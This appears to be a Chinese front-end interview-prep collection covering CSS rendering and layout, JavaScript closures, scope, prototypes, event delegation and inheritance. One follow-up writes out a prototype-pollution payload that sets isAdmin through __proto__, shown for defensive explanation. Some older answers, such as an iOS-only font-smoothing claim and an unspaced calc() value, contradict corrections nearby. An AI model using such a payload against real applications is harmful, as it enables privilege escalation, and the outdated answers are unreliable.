  • 白字深底时效果最明显,浅底深字的正文加了反而可能发虚

一般写 -webkit-font-smoothing: antialiased,再配一条 -moz-osx-font-smoothing: grayscale,让 Mac 上的字看起来更细、更清楚。 它改的是抗锯齿方式,从亚像素渲染换成灰度渲染,笔画边缘少了彩色毛边,视觉上就变细了。要说清一点:这个属性实际只在 macOS 桌面浏览器上起作用,iOS 系统默认就是灰度抗锯齿,加不加差别不大,Windows 上直接无视。所以它只是一个平台相关的显示优化,要真正控制粗细,还是靠字重和选字体。

通过设置 -webkit-font-smoothing 属性为 antialiased 可以在 iOS 手机浏览器中使字体显示更清晰、更细腻。这个属性是针对 iOS Safari 浏览器的特定设置。

body {
  -webkit-font-smoothing: antialiased;
}

将上述代码应用于你的 CSS 文件中,或者将其添加到你想要应用字体设置的元素的样式中,可以改善字体在 iOS 手机浏览器中的显示效果。注意,该属性只在 iOS Safari 浏览器中生效,在其他浏览器中可能没有效果。

💬 面试官追问

  • 加了 antialiased,Windows 同事说没任何变化,正常吗?

    正常。Windows 上字体渲染走的是系统的 ClearType 那套,这个非标准属性管不到。

  • 深色背景上的白字在 Mac 上发粗发糊,怎么改?

    这是加 -webkit-font-smoothing: antialiased 效果最明显的场景,亚像素渲染在深底浅字上会显得偏粗。很多设计系统只在暗色区块或全局加这一条,就是因为这个。

  • 想让字整体细一点,除了抗锯齿还有什么办法?

    正经办法是用字重,font-weight: 300 或者选带细体的字体,比如 PingFang SC 有 Light。抗锯齿只是渲染层面的微调,变不了字形本身。

  • text-rendering: optimizeLegibility 要不要全局加上?

    不建议。它会开连字和字距调整,大段长文本渲染会变慢,移动端尤其明显。标题加一下可以,正文别加。

# 87 font-style 属性 oblique 是什么意思

⚡ 30 秒速记

  • oblique = 把正常字形机械地往右斜切一个角度
  • italic = 用字体里专门设计的斜体字形,衬线字体里笔画形状都不一样(比如 a 变成单层)
  • 字体没有 italic 字形时,写 italic 浏览器也会退化成合成的倾斜
  • CSS Fonts 4 可以指定角度:font-style: oblique 10deg,可变字体有 slnt 轴时效果最好
  • 中文字体基本没有真斜体,中文「斜体」全是合成的,排版上一般不用

oblique 是倾斜体,就是把正常字形硬生生斜切过去;italic 是真斜体,用的是字体设计师单独画的那套字形。 拿衬线英文字体对比最明显,italic 的小写 a、f 字形都变了,像手写;oblique 只是歪了一下,形状不变。字体没有斜体字形的时候,两种写法浏览器都会合成一个倾斜效果,看起来差不多。中文字体几乎都没有真斜体,所以中文强调我一般用加粗或颜色,不用斜体。

font-style: oblique; 是用来设置字体样式为倾斜(oblique)的。当字体本身没有提供 italic 斜体样式时,可以使用 oblique 属性来模拟倾斜效果。

倾斜样式是一种字体样式,使字体呈现为向右倾斜的外观,类似于斜体(italic)样式。不同之处在于,斜体样式是由字体设计师提供的专门的斜体字形,而倾斜样式是通过将正常字形倾斜来模拟出来的。

使用 font-style: oblique; 可以在没有专门提供斜体字形的字体上实现倾斜效果,但需要注意的是,由于是通过倾斜正常字形来模拟,所以结果可能不如专门设计的斜体字形效果好。

💬 面试官追问

  • font-style: italic 和 oblique 在页面上看着一模一样,是没生效吗?

    多半是字体没提供斜体字形,两种写法都退化成了浏览器合成的倾斜。换一个带 Italic 字重的英文字体就能看出区别。

  • 不想让浏览器给中文合成假斜体,能禁掉吗?

    可以写 font-synthesis: none(或 font-synthesis-style: none),字体没有斜体就保持正体,不会硬斜过去。

  • oblique 20deg 写了,角度怎么没变化?

    角度只对有 slnt 轴的可变字体真正生效,普通字体浏览器一般按默认角度合成,或者干脆忽略角度。

  • <em> 和 <i> 都是斜体,有什么区别?

    默认样式一样,语义不同。<em> 是强调,读屏器可能会变语气;<i> 是术语、外文这类「另一种语气」的文本。中文页面强调我会用 <em> 再把样式改成加粗。

# 88 display:inline-block 什么时候会显示间隙

⚡ 30 秒速记

  • 只要相邻 inline-block 标签之间有换行或空格,就会有一道约 4px 的水平间隙
  • 原因:HTML 里的空白被当成一个空格字符渲染,间隙大小跟父元素字号和字体有关
  • 解法:父元素换 flex / grid(首选);父 font-size: 0 子元素再设回;标签间不留空白
  • 负 margin 依赖字号,换个字体就不准,不推荐
  • 另一个坑:默认 vertical-align: baseline,底部还会多出几像素,设 vertical-align: top 或 middle

相邻的 inline-block 元素之间只要源码里有换行或空格,就会出现一道几像素的间隙,这不是 CSS 的锅,是那个空白被当成文字里的空格渲染了。 空格有多宽取决于父元素的字号和字体,所以常见 14px 字号下大概 4px。最干脆的办法是父元素改成 flex,空白文本节点直接不参与布局;老办法是父元素 font-size: 0 再给子元素设回字号。还有一个容易一起被问的:inline-block 默认按基线对齐,底部会多出一条缝,写 vertical-align: top 就好。

display: inline-block; 可能会在元素之间产生间隙的情况包括:

  1. 相邻的 inline-block 元素之间有换行或空格分隔时,会产生间隙。
  2. 非 inline-block 的水平元素设置为 inline-block 时,会有默认的水平间距。
  3. 默认情况下,inline-block 元素的默认对齐方式是基线对齐,而不是顶部对齐,因此可能会产生垂直间隙。可以通过设置 vertical-align: top; 将元素顶部对齐来消除垂直间隙。
  4. 父元素的字体大小会影响 inline-block 元素的间隙。如果父元素设置了字体大小,可以将其设置为 font-size: 0;,然后在 inline-block 元素内部设置所需的字体大小,以消除垂直间隙。
  5. 将多个 li 标签写在同一行,可以消除垂直间隙,但这会导致代码可读性差。

这些方法可以用来解决 inline-block 元素之间产生的间隙问题。

💬 面试官追问

  • 四个 25% 宽的 inline-block 卡片,最后一个掉到第二行了,为什么?

    三道空格间隙加上 4 × 25% 已经超过 100%,最后一个放不下就换行了。父元素改 display: flex,或者干脆用 grid-template-columns: repeat(4, 1fr)。

  • 用了 font-size: 0 消除间隙,后来卡片里的文字在 Android 老机型上消失了,怎么回事?

    子元素如果用 em 设字号,基于父元素的 0 算出来还是 0。子元素要用 rem 或 px 设回字号;能用 flex 就别再用这招。

  • 为什么不推荐 margin-right: -4px 抵消间隙?

    间隙宽度跟字号字体绑定,换个字体或者用户调大字号就对不上了,要么还有缝要么重叠。

  • 换成 flex 以后间隙为什么就没了?

    flex 容器里只含空白的文本节点不生成 flex 子项,直接被忽略,所以没有空格可渲染了。

# 89 一个高度自适应的div,里面有两个div,一个高度100px,希望另一个填满剩下的高度

⚡ 30 秒速记

  • 首选 flex:父 display: flex; flex-direction: column,第一个 height: 100px 或 flex: none,第二个 flex: 1
  • grid:父 display: grid; grid-template-rows: 100px 1fr
  • calc:height: calc(100% - 100px),减号两边必须有空格,父元素要有确定高度
  • 绝对定位:父 position: relative,第二个 position: absolute; top: 100px; bottom: 0
  • 高频坑:第二个内容要滚动时加 min-height: 0; overflow: auto,不然会撑破父容器

我一般用纵向 flex:父元素 flex-direction: column,第一个写死 100px,第二个 flex: 1 吃掉剩下的空间。 前提是父元素自己得有个高度,比如 height: 100vh 或者它本身是个被撑满的 flex 子项,不然「剩下的高度」无从谈起。grid 写一行 grid-template-rows: 100px 1fr 也很清爽。calc(100% - 100px) 能用,但要注意减号两边要空格,而且父元素高度必须确定。第二块如果内容很多要滚动,一定补 min-height: 0 和 overflow: auto。

  • 方案1:
    • .sub { height: calc(100%-100px); }
  • 方案2:
    • .container { position:relative; }
    • .sub { position: absolute; top: 100px; bottom: 0; }
  • 方案3:
    • .container { display:flex; flex-direction:column; }
    • .sub { flex:1; }

这三种方案都可以实现一个高度自适应的 div,其中一个子 div 高度为 100px,另一个子 div 填满剩下的高度。

  • 方案1使用了 calc() 函数来计算剩余高度,.sub 的高度设置为 calc(100% - 100px),即剩余高度。
  • 方案2使用了相对定位和绝对定位,父容器 .container 设置为相对定位,子 div .sub 设置为绝对定位,设置 top: 100px 让其距离顶部 100px,设置 bottom: 0 让其底部与父容器底部对齐。
  • 方案3使用了弹性布局(Flexbox),父容器 .container 设置为 display: flex,并指定 flex-direction: column 使其垂直排列。子 div .sub 使用 flex: 1 来填充剩余的空间,自动调整高度。

这些方案都可以实现相应的效果,具体选择哪种方案取决于实际需求和布局结构。

💬 面试官追问

  • 写成 calc(100%-100px),高度为什么不生效?

    calc 里的 + 和 - 两边必须有空格,100%-100px 会被当成非法值整条丢掉。写成 calc(100% - 100px)。

  • 第二块 flex: 1 了,内容一多整个页面被撑长,没有在内部滚动,缺什么?

    缺 min-height: 0 和 overflow-y: auto。flex 子项的 min-height 默认是 auto,不肯缩到比内容还矮,overflow 也就不起作用。

  • 父元素是 height: auto,flex: 1 还能填满吗?

    填不了,父元素高度由内容撑开,就没有剩余空间可分。要给父元素一个确定高度,比如 100vh、100dvh,或者让它本身在一个有高度的 flex 链里。

  • 移动端用 100vh 做整页,底部总被浏览器工具栏挡住一截,怎么办?

    移动浏览器的 100vh 按工具栏收起时算,比实际可见区域高。改用 100dvh,老浏览器先写 100vh 兜底。

# 90 css 的渲染层合成是什么 浏览器如何创建新的渲染层

⚡ 30 秒速记

  • 流水线:DOM + CSSOM → 布局 → 分层 → 绘制 → 栅格化 → 合成
  • 两种层别混:渲染层(PaintLayer,管层叠顺序,定位、opacity 等会建)和合成层(有独立位图交给 GPU,才是性能优化说的「层」)
  • 提升合成层:3D transform、will-change: transform / opacity、video / canvas / iframe、正在跑的 transform / opacity 动画
  • 隐式合成:压在合成层上面的元素也会被迫提升,这是层爆炸的主要来源
  • 每层都吃显存,层多了反而卡;DevTools 的 Layers 面板查层数和原因
  • 只给真正在动的元素加 will-change,动完移除

渲染层合成就是浏览器把页面拆成几层分别画好,最后像叠透明胶片一样按顺序叠起来显示。 这里要分清两个概念:渲染层是为了处理层叠顺序,定位元素、opacity 小于 1 这些都会建;合成层是渲染层里再挑出来的一部分,有自己独立的位图,交给合成线程和 GPU 处理。合成层的好处是做 transform、opacity 动画时不用重新布局和绘制,主线程卡住动画也不掉帧。代价是每层都占显存,还会有隐式合成导致层爆炸,所以 will-change 我只加在真正要动的元素上。

时序图 · 4 个参与者 / 10 步
alt 动画只改 transform 或 opacity动画改 left 或 width主线程主线程合成线程合成线程栅格线程栅格线程GPUGPU样式计算与布局1分层并生成绘制指令2提交图层树和绘制指令3按图块分发栅格任务4返回位图5合成各层并上屏6只更新图层的变换参数7直接重新合成,主线程不参与8重新走布局和绘制9提交新的绘制结果10

在 DOM 树中每个节点都会对应一个渲染对象(RenderObject),当它们的渲染对象处于相同的坐标空间(z 轴空间)时,就会形成一个 RenderLayers,也就是渲染层。渲染层将保证页面元素以正确的顺序堆叠,这时候就会出现层合成(composite`),从而正确处理透明元素和重叠元素的显示。对于有位置重叠的元素的页面,这个过程尤其重要,因为一旦图层的合并顺序出错,将会导致元素显示异常

在 CSS 中,渲染层合成(Layer Composition)是浏览器中用于处理页面元素的显示和堆叠顺序的机制。它通过创建新的渲染层(Render Layer)来管理页面中的元素,并确保它们以正确的顺序进行渲染和呈现。

浏览器创建新的渲染层的条件包括但不限于以下情况:

  1. 定位属性:元素具有 position: fixed、position: relative、position: sticky、position: absolute 等定位属性时,会创建新的渲染层。
  2. 透明度和混合模式:元素的透明度设置小于 1(opacity: 0.5)或具有非 normal 的混合模式(mix-blend-mode: multiply)时,会创建新的渲染层。
  3. 3D 变换:元素具有 3D 变换(transform: translateZ(0))时,会创建新的渲染层。
  4. 滤镜效果:元素应用了滤镜效果(filter: blur(5px))时,会创建新的渲染层。
  5. 遮罩效果:元素应用了遮罩效果(mask-image: url(mask.png))时,会创建新的渲染层。
  6. CSS 动画:元素正在进行 CSS 动画(animation、transition)时,会创建新的渲染层。
  7. 其他因素:还有一些其他因素,如元素应用了 backface-visibility: hidden、column-count 不为 auto 等,也可能触发创建新的渲染层。

创建新的渲染层有助于确保页面元素以正确的顺序进行堆叠和渲染,并处理透明元素和重叠元素的显示。这对于具有位置重叠的页面元素尤为重要,因为合成层的顺序错误可能导致元素显示异常。通过创建新的渲染层,浏览器可以更好地管理元素的渲染和呈现,提高页面的性能和用户体验。

# 三、JavaScript相关

💬 面试官追问

  • 给列表每一项都加了 will-change: transform,手机上反而更卡了,为什么?

    每一项都成了独立合成层,几百个层占满显存,合成本身就变慢了,低端机还可能闪烁。只给正在动的元素加,或者动画开始前加、结束后移除。

  • position: relative 会创建合成层吗?

    会创建渲染层,但一般不会提升成合成层。定位、opacity、filter 这些条件大多只建渲染层,能触发 GPU 合成的主要是 3D transform、will-change、视频画布、正在跑的 transform / opacity 动画这几类。

  • 一个元素什么都没加,Layers 面板显示它也成了合成层,怎么查?

    点开它看 Compositing Reasons,大概率是 overlap:它在层叠顺序上压在某个合成层上面,被隐式提升了。给那个动画元素设更高的 z-index,或者调整结构让它不和别人重叠。

  • 为什么动画推荐用 transform 而不是改 left?

    改 left 每帧都要布局和重绘,在主线程上跑;transform 在合成层上只需要合成线程挪一下位图,主线程忙着跑 JS 也不影响动画。

  • 以前大家写 transform: translateZ(0) 开硬件加速,现在还这么写吗?

    语义上用 will-change: transform 更清楚,效果类似。两者都是强制提升合成层的手段,滥用的代价一样。

# 1 闭包

⚡ 30 秒速记

  • 闭包 = 函数 + 它定义时所在的词法环境;函数走到哪都记得「出生地」的变量
  • 经典题:for (var i...) 里 setTimeout 打印三个 3,换 let 打印 0 1 2,因为 let 每轮迭代新建一个绑定
  • ES5 用 IIFE 把每轮的 i 拷进新作用域,现在直接用 let
  • 用途:私有变量(模块模式)、函数工厂和柯里化、缓存(memoize)、防抖节流里的 timer
  • 内存:闭包本身不等于泄漏,被长期持有又不释放才算;现代浏览器里「IE 循环引用泄漏」已经不是问题

闭包就是一个函数加上它定义时能访问到的那些外部变量,函数被拿到别处执行,照样能读写这些变量。 最常见的例子是防抖:debounce 执行完返回了一个新函数,但 timer 没被回收,因为返回的函数一直引用着它,每次调用都能清掉上一次的定时器。循环里的 setTimeout 也是闭包题,var 只有一个 i,三个回调共享,打印三个 3;let 每轮一个新 i,就是 0 1 2。说闭包导致内存泄漏要讲清楚:只有闭包被长期挂在全局、事件、定时器上不释放才会泄漏,正常用完没人引用就会被回收。

  • 闭包就是能够读取其他函数内部变量的函数

  • 闭包是指有权访问另一个函数作用域中变量的函数,创建闭包的最常见的方式就是在一个函数内创建另一个函数,通过另一个函数访问这个函数的局部变量,利用闭包可以突破作用链域

  • 闭包的特性:

    • 函数内再嵌套函数
    • 内部函数可以引用外层的参数和变量
    • 参数和变量不会被垃圾回收机制回收

说说你对闭包的理解

  • 使用闭包主要是为了设计私有的方法和变量。闭包的优点是可以避免全局变量的污染,缺点是闭包会常驻内存,会增大内存使用量,使用不当很容易造成内存泄露。在js中,函数即闭包,只有函数才会产生作用域的概念

  • 闭包 的最大用处有两个,一个是可以读取函数内部的变量,另一个就是让这些变量始终保持在内存中

  • 闭包的另一个用处,是封装对象的私有属性和私有方法

  • 好处:能够实现封装和缓存等;

  • 坏处:就是消耗内存、不正当使用会造成内存溢出的问题

使用闭包的注意点

  • 由于闭包会使得函数中的变量都被保存在内存中,内存消耗很大,所以不能滥用闭包,否则会造成网页的性能问题,在IE中可能导致内存泄露
  • 解决方法是,在退出函数之前,将不使用的局部变量全部删除

举出闭包实际场景运用的例子

  1. 比如常见的防抖节流
// 防抖
function debounce(fn, delay = 300) {
  let timer; //闭包引用的外界变量
  return function () {
    const args = arguments;
    if (timer) {
      clearTimeout(timer);
    }
    timer = setTimeout(() => {
      fn.apply(this, args);
    }, delay);
  };
}
  1. 使用闭包可以在 JavaScript 中模拟块级作用域
function outputNumbers(count) {
  (function () {
    for (var i = 0; i < count; i++) {
      alert(i);
    }
  })();
  alert(i); //导致一个错误!
}
  1. 闭包可以用于在对象中创建私有变量
var aaa = (function () {
  var a = 1;
  function bbb() {
    a++;
    console.log(a);
  }
  function ccc() {
    a++;
    console.log(a);
  }
  return {
    b: bbb, //json结构
    c: ccc,
  };
})();
console.log(aaa.a); //undefined
aaa.b(); //2
aaa.c(); //3

💬 面试官追问

  • 这段代码输出什么:for (var i = 0; i < 3; i++) setTimeout(() => console.log(i))?

    输出 3 3 3。var 是函数作用域,三个回调闭包引用的是同一个 i,等定时器执行时循环早结束了,i 是 3。改成 let 输出 0 1 2。

  • 不许用 let,怎么让它输出 0 1 2?

    用 IIFE 把当时的值传进去:(function (j) { setTimeout(() => console.log(j)) })(i)。或者用 setTimeout 的第三个参数:setTimeout(console.log, 0, i)。

  • React 组件里 setInterval 读到的 count 永远是 0,跟闭包有关吗?

    有关,这是典型的过期闭包。useEffect(..., []) 里的回调只在首次渲染时创建,捕获的是那次的 count。用 setCount(c => c + 1) 函数式更新,或者把值放进 useRef。

  • 闭包一定会造成内存泄漏吗?

    不会。闭包引用的变量只是活得比函数调用久一点,闭包函数本身没人引用了就一起回收。真正的泄漏是闭包被挂在全局变量、没移除的事件监听、没清的定时器上,Memory 面板拍快照能看到它的引用链。

  • 怎么用闭包实现一个只执行一次的 once?

    function once(fn) { let done = false, result; return (...args) => done ? result : (done = true, result = fn(...args)) }。done 和 result 就是闭包里的私有状态,外面改不了。

# 2 说说你对作用域链的理解

⚡ 30 秒速记

  • 作用域链 = 变量查找路径:当前作用域 → 外层 → … → 全局,找不到报 ReferenceError
  • 词法作用域:链在函数定义的位置就定了,跟在哪调用无关;this 才看调用方式
  • 作用域三种:全局、函数、块级(let / const / class 带来的)
  • 只能往外找,外层看不到内层变量;闭包就是函数带着这条链离开了原地
  • 别和原型链混:作用域链找变量,原型链找对象属性

作用域链就是 JS 引擎找变量的路线:先在当前作用域找,没有就去外面一层,一直找到全局,还找不到就报 ReferenceError。 关键在于这条链是按代码写在哪定的,叫词法作用域,函数定义时就记住了外层环境,后面拿到哪调用都不变。所以内层函数能访问外层变量,反过来不行,闭包也是靠这个。经常有人把它和原型链搞混:a 这种裸变量走作用域链,obj.a 这种属性访问才走原型链,找不到的结果也不同,一个报错一个返回 undefined。

  • 作用域链是一种用于查找变量和函数的机制,它是由当前执行环境和其所有父级执行环境的变量对象组成的链式结构。当在一个执行环境中访问变量或函数时,会首先在当前执行环境的变量对象中查找,如果找不到,则会沿着作用域链向上查找,直到找到对应的变量或函数,或者达到最外层的全局对象(如window)。
  • 作用域链的创建是在函数定义时确定的,它与函数的定义位置有关。当函数被调用时,会创建一个新的执行环境,其中包含一个新的变量对象,并将其添加到作用域链的前端。这样,函数内部就可以访问其所在作用域以及其外部作用域中的变量和函数,形成了一个作用域链。

以下是一个示例,展示了作用域链的工作原理:

function outer() {
  var outerVar = 'Outer variable';

  function inner() {
    var innerVar = 'Inner variable';
    console.log(innerVar); // 内部作用域的变量
    console.log(outerVar); // 外部作用域的变量
    console.log(globalVar); // 全局作用域的变量
  }

  inner();
}

var globalVar = 'Global variable';
outer();

在上述示例中,函数inner()内部可以访问到其外部函数outer()中定义的变量outerVar,这是因为inner()的作用域链中包含了外部函数的变量对象。同样,inner()也可以访问全局作用域中的变量globalVar,因为全局作用域也在作用域链中。

通过作用域链的机制,函数可以访问外部作用域中的变量,但外部作用域不能访问函数内部的变量,这就实现了变量的封装和保护。

值得注意的是,当函数执行完毕后,其执行环境会被销毁,对应的变量对象也会被释放,因此作用域链也随之消失。这也是闭包的概念中所提到的保持变量的生命周期的特性。

总结

  • 作用域链的作用是保证执行环境里有权访问的变量和函数是有序的,作用域链的变量只能向上访问,变量访问到window对象即被终止,作用域链向下访问变量是不被允许的
  • 简单的说,作用域就是变量与函数的可访问范围,即作用域控制着变量与函数的可见性和生命周期

💬 面试官追问

  • 下面代码输出什么:var x = 1; function f() { console.log(x) } function g() { var x = 2; f() } g()?

    输出 1。f 定义在全局,它的外层就是全局作用域,在哪调用都一样,这就是词法作用域。

  • 函数里直接给一个没声明的变量赋值,会发生什么?

    非严格模式下会顺着作用域链找不到,然后在全局对象上创建它,悄悄污染全局;严格模式直接报 ReferenceError。现在用 ESM 或打包工具默认就是严格模式。

  • let 声明之前访问变量,为什么报错而不是 undefined?

    let 绑定在块开始时就创建了,但在声明语句执行前处于暂时性死区,访问就报 ReferenceError。var 会提升并初始化成 undefined,所以不报错。

  • 作用域链很长会影响性能吗?

    现代引擎编译时就能确定大部分变量在哪一层,查找开销基本可以忽略。真正影响性能的是 with 和非严格模式下的 eval,它们让作用域没法静态分析,一般直接禁用。

# 3 JavaScript原型,原型链 ? 有什么特点?

⚡ 30 秒速记

  • 三个东西:prototype 是函数才有的属性;__proto__(标准写法 Object.getPrototypeOf)是每个对象指向原型的链接;constructor 是原型上指回构造函数的属性
  • 一句话串起来:new Foo().__proto__ === Foo.prototype
  • 读属性:自身没有就顺着原型往上找,到 Object.prototype 再往上是 null,找不到返回 undefined
  • 原型是共享引用:改原型所有实例立刻受影响;写属性只写在自身,会遮蔽原型上的同名属性
  • 加分:Object.create(null) 做无原型的纯字典;原型上放引用类型会被所有实例共享,是经典坑

原型就是对象背后的一个「备用仓库」,自己身上找不到的属性就去原型上找,原型再找它的原型,这一串就是原型链。 用构造函数 new 出来的实例,原型就是构造函数的 prototype,所以有 instance.__proto__ === Foo.prototype,方法放在 prototype 上,所有实例共用一份。链的尽头是 Object.prototype,再往上是 null。特点是共享:读属性会沿链查找,写属性却只写在自己身上;但如果原型上放了一个数组,大家 push 改的是同一个,这个坑经常被问。

  • 每个对象都会在其内部初始化一个属性,就是__proto__,当我们访问一个对象的属性时
  • 如果这个对象内部不存在这个属性,那么他就会去__proto__里找这个属性,这个__proto__又会有自己的__proto__,于是就这样一直找下去,也就是我们平时所说的原型链的概念。按照标准,__proto__ 是不对外公开的,也就是说是个私有属性
  • 关系:instance.constructor.prototype == instance.__proto__
// eg.
var a = {}

a.constructor.prototype == a.__proto__
  • 特点:

    • JavaScript对象是通过引用来传递的,我们创建的每个新对象实体中并没有一份属于自己的原型副本。当我们修改原型时,与之相关的对象也会继承这一改变
  • 当我们需要一个属性的时,Javascript引擎会先看当前对象中是否有这个属性, 如果没有的

  • 就会查找他的Prototype对象是否有这个属性,如此递推下去,一直检索到 Object 内建对象

  • 原型:

    • JavaScript的所有对象中都包含了一个 [__proto__] 内部属性,这个属性所对应的就是该对象的原型
    • JavaScript的函数对象,除了原型 [__proto__] 之外,还预置了 prototype 属性
    • 当函数对象作为构造函数创建实例时,该 prototype 属性值将被作为实例对象的原型 [__proto__]。
  • 原型链:

    • 当一个对象调用的属性/方法自身不存在时,就会去自己 [__proto__] 关联的前辈 prototype 对象上去找
    • 如果没找到,就会去该 prototype 原型 [__proto__] 关联的前辈 prototype 去找。依次类推,直到找到属性/方法或 undefined 为止。从而形成了所谓的“原型链”
  • 原型特点:

    • JavaScript对象是通过引用来传递的,当修改原型时,与之相关的对象也会继承这一改变

💬 面试官追问

  • function Foo() {}; Foo.prototype.list = [],两个实例各 push 一项,结果是什么?

    两个实例的 list 都是两项,因为它们共享原型上同一个数组。push 是在改这个数组,不是给实例新建属性。引用类型的数据应该写在构造函数里 this.list = []。

  • Foo.__proto__ 指向什么?

    指向 Function.prototype,因为函数也是对象,是 Function 构造出来的。Foo.prototype 才是给实例用的原型,这两个经常被问混。

  • 业务代码里要读原型,用 __proto__ 有问题吗?

    __proto__ 是历史遗留的访问器,规范附录里留着只为兼容。读用 Object.getPrototypeOf(obj),设用 Object.create 或 Object.setPrototypeOf,后者改已有对象的原型会让引擎去优化,尽量别在热路径上用。

  • 用对象做字典存用户输入的 key,key 是 constructor 时出了怪问题,怎么改?

    普通对象会从原型上读到 constructor、toString 这些。改用 Object.create(null) 建一个没有原型的对象,或者直接用 Map,判断存在用 Object.hasOwn。

  • 原型污染漏洞是怎么回事?

    深合并时没过滤 __proto__ 这类 key,攻击者传 {"__proto__": {"isAdmin": true}},就改到了 Object.prototype,全站对象都多出 isAdmin。合并函数要跳过 __proto__、constructor、prototype。

# 4 请解释什么是事件代理

⚡ 30 秒速记

  • 事件代理 = 监听挂在父元素上,靠冒泡接住子元素的事件,再用 event.target 判断是谁
  • 好处:1000 个监听器压成 1 个;后加的子元素自动生效,不用重新绑
  • 写法:e.target.closest('.item') 而不是比 tagName,否则点到 li 里的图标就匹配不上
  • 不冒泡的事件不行:focus / blur 改用 focusin / focusout,mouseenter 改 mouseover
  • 子元素里调了 stopPropagation() 会让代理失效,排查时先看这个

事件代理就是不给每个子元素绑监听,而是在父元素上绑一个,利用冒泡让子元素的事件都传到父元素来统一处理。 比如一个 1000 行的表格,每行一个删除按钮,在 tbody 上绑一个 click,用 e.target.closest('button[data-id]') 找到点的是哪个按钮。好处是监听器从一千个变一个,新增的行也不用再绑。实际写的时候别直接判断 e.target.tagName === 'LI',li 里一旦有图标或 span,点到的就是内部元素,用 closest 往上找才稳。

时序图 · 4 个参与者 / 6 步
alt 找到列表项且在列表内中途有人调用 stopPropagation用户用户按钮内的图标按钮内的图标列表项列表项父元素监听器父元素监听器点击图标1捕获阶段从 window 向下到目标冒泡到列表项2冒泡到父元素3用 closest 找到所属列表项4执行对应业务逻辑5冒泡中断,代理收不到6
  • 事件代理(Event Delegation),又称之为事件委托。是 JavaScript 中常用绑定事件的常用技巧。顾名思义,“事件代理”即是把原本需要绑定的事件委托给父元素,让父元素担当事件监听的职务。事件代理的原理是DOM元素的事件冒泡。使用事件代理的好处是可以提高性能
  • 可以大量节省内存占用,减少事件注册,比如在table上代理所有td的click事件就非常棒
  • 可以实现当新增子对象时无需再次对其绑定

下面是一个简单的事件代理的示例代码:

<ul id="myList">
  <li>Item 1</li>
  <li>Item 2</li>
  <li>Item 3</li>
</ul>
// 使用事件代理绑定点击事件
var myList = document.getElementById('myList');
myList.addEventListener('click', function(event) {
  if (event.target.tagName === 'LI') {
    console.log('Clicked on:', event.target.textContent);
  }
});

在上述示例中,我们将点击事件绑定到父元素 myList 上,当点击子元素 li 时,事件会冒泡到父元素,父元素上的事件处理函数会捕获到事件,并根据 event.target 来判断点击的具体元素。这样就实现了对子元素点击事件的代理处理。

使用事件代理的优势是可以减少事件处理程序的数量,尤其适用于大量的子元素或动态添加的元素,避免了为每个子元素都绑定事件处理程序的麻烦。同时,对于新增的子元素,无需再次绑定事件,它们会自动继承父元素上的事件处理。

需要注意的是,在事件代理中,我们需要通过 event.target 来判断具体触发事件的元素,从而执行相应的逻辑。

💬 面试官追问

  • 用 e.target.tagName === 'LI' 判断,li 里加了个图标就时灵时不灵,为什么?

    点到图标时 target 是图标元素,不是 li。改成 const li = e.target.closest('li'); if (!li || !list.contains(li)) return;,contains 是防止匹配到列表外面的祖先。

  • input 失焦校验想做事件代理,在父 form 上监听 blur 没反应,怎么办?

    blur 不冒泡,换成会冒泡的 focusout。或者 addEventListener('blur', fn, true) 在捕获阶段接也行。

  • 代理在父元素上的 click 有个按钮怎么都触发不了,先查什么?

    先查这个按钮或者它中间的某层有没有调用 e.stopPropagation(),冒泡被截断了代理自然收不到。第三方组件里很常见。

  • React 里还需要自己做事件代理吗?

    一般不用。React 本身就把事件统一代理了,React 16 挂在 document 上,React 17 开始改挂到根容器上。在列表项上直接写 onClick 不会真的绑一千个原生监听。

  • 滚动列表上用代理监听 mousemove 会有问题吗?

    高频事件代理到父元素后每次都要跑 closest 判断,开销会叠加。高频的要加节流,或者只在真正需要的子区域单独监听。

# 5 Javascript如何实现继承?

⚡ 30 秒速记

  • 现在直接答 class Child extends Parent,再说它对应 ES5 的寄生组合式继承
  • 演进:原型链继承(引用属性共享、不能传参)→ 构造函数继承(方法不能复用)→ 组合继承(父构造调两次)→ 寄生组合式(ES5 最优)
  • 寄生组合式三步:构造函数里 Parent.call(this) + Child.prototype = Object.create(Parent.prototype) + 修正 constructor
  • class 不只是语法糖:子类必须先 super() 才能用 this;静态方法也继承(Object.getPrototypeOf(Child) === Parent);能继承 Array、Error 这类内置类
  • Child.prototype = new Parent() 是原型链继承,父类实例属性会被所有子实例共享

现在写继承就用 class extends,面试我会顺带讲它在 ES5 里对应的是寄生组合式继承。 Child.prototype = new Parent() 是最早的原型链继承,问题是父类构造函数里的属性挂在了原型上,所有子实例共享,而且创建子实例时没法给父类传参。组合继承用 Parent.call(this) 解决了这两点,但父构造函数被调了两次。寄生组合式把原型那步换成 Object.create(Parent.prototype),只调一次,class extends 底层就是这套,外加 super 的约束和静态方法继承。

在 JavaScript 中,实现继承的方式有多种,包括原型链继承、构造函数继承、组合继承和寄生组合式继承等。ES5 里最推荐的是寄生组合式继承,ES6 直接用 class extends,底层就是这套。

以下是寄生组合式继承的示例代码:

function Parent(name) {
  this.name = name;
  this.list = [];
}
Parent.prototype.say = function () { return 'hi ' + this.name; };

function Child(name, age) {
  Parent.call(this, name); // 继承实例属性,每个实例一份,也能给父类传参
  this.age = age;
}

Child.prototype = Object.create(Parent.prototype); // 继承原型方法,不调用 Parent
Child.prototype.constructor = Child;

var demo = new Child('poetry', 28);
console.log(demo.age); // 输出: 28
console.log(demo.name); // 输出: poetry
console.log(demo.say()); // 输出: hi poetry
console.log(demo.constructor); // 输出: Child

构造函数里的 Parent.call(this, name) 让每个子实例拥有自己的一份父类实例属性;Object.create(Parent.prototype) 让 Child.prototype 的原型指向 Parent.prototype,子类能用父类的原型方法,又不会像 Child.prototype = new Parent() 那样把父类实例属性挂到原型上、被所有子实例共享。然后,通过手动将 Child.prototype.constructor 设置为 Child,确保子类的构造函数指向自身。

这样,demo.constructor 的输出将是 Child,表示 demo 实例的构造函数是 Child,以确保子类的实例通过 constructor 属性可以准确地识别其构造函数。

ES6 的 class extends 效果等价,外加几条约束:

// ES6:class extends,效果等价,外加几条约束
class Parent {
  static create(name) { return new this(name) }
  constructor(name) { this.name = name }
  say() { return 'hi ' + this.name }
}
class Child extends Parent {
  constructor(name, age) {
    super(name)            // 必须先调用,否则访问 this 报错
    this.age = age
  }
}
console.log(Child.create('c') instanceof Child) // true,静态方法也被继承

class extends 会同时建立两条原型链:Child.prototype 的原型是 Parent.prototype(实例方法继承),Child 本身的原型是 Parent(静态方法继承)。ES5 写法只建立了前一条,静态方法要手动 Object.setPrototypeOf(Child, Parent) 才能继承。

💬 面试官追问

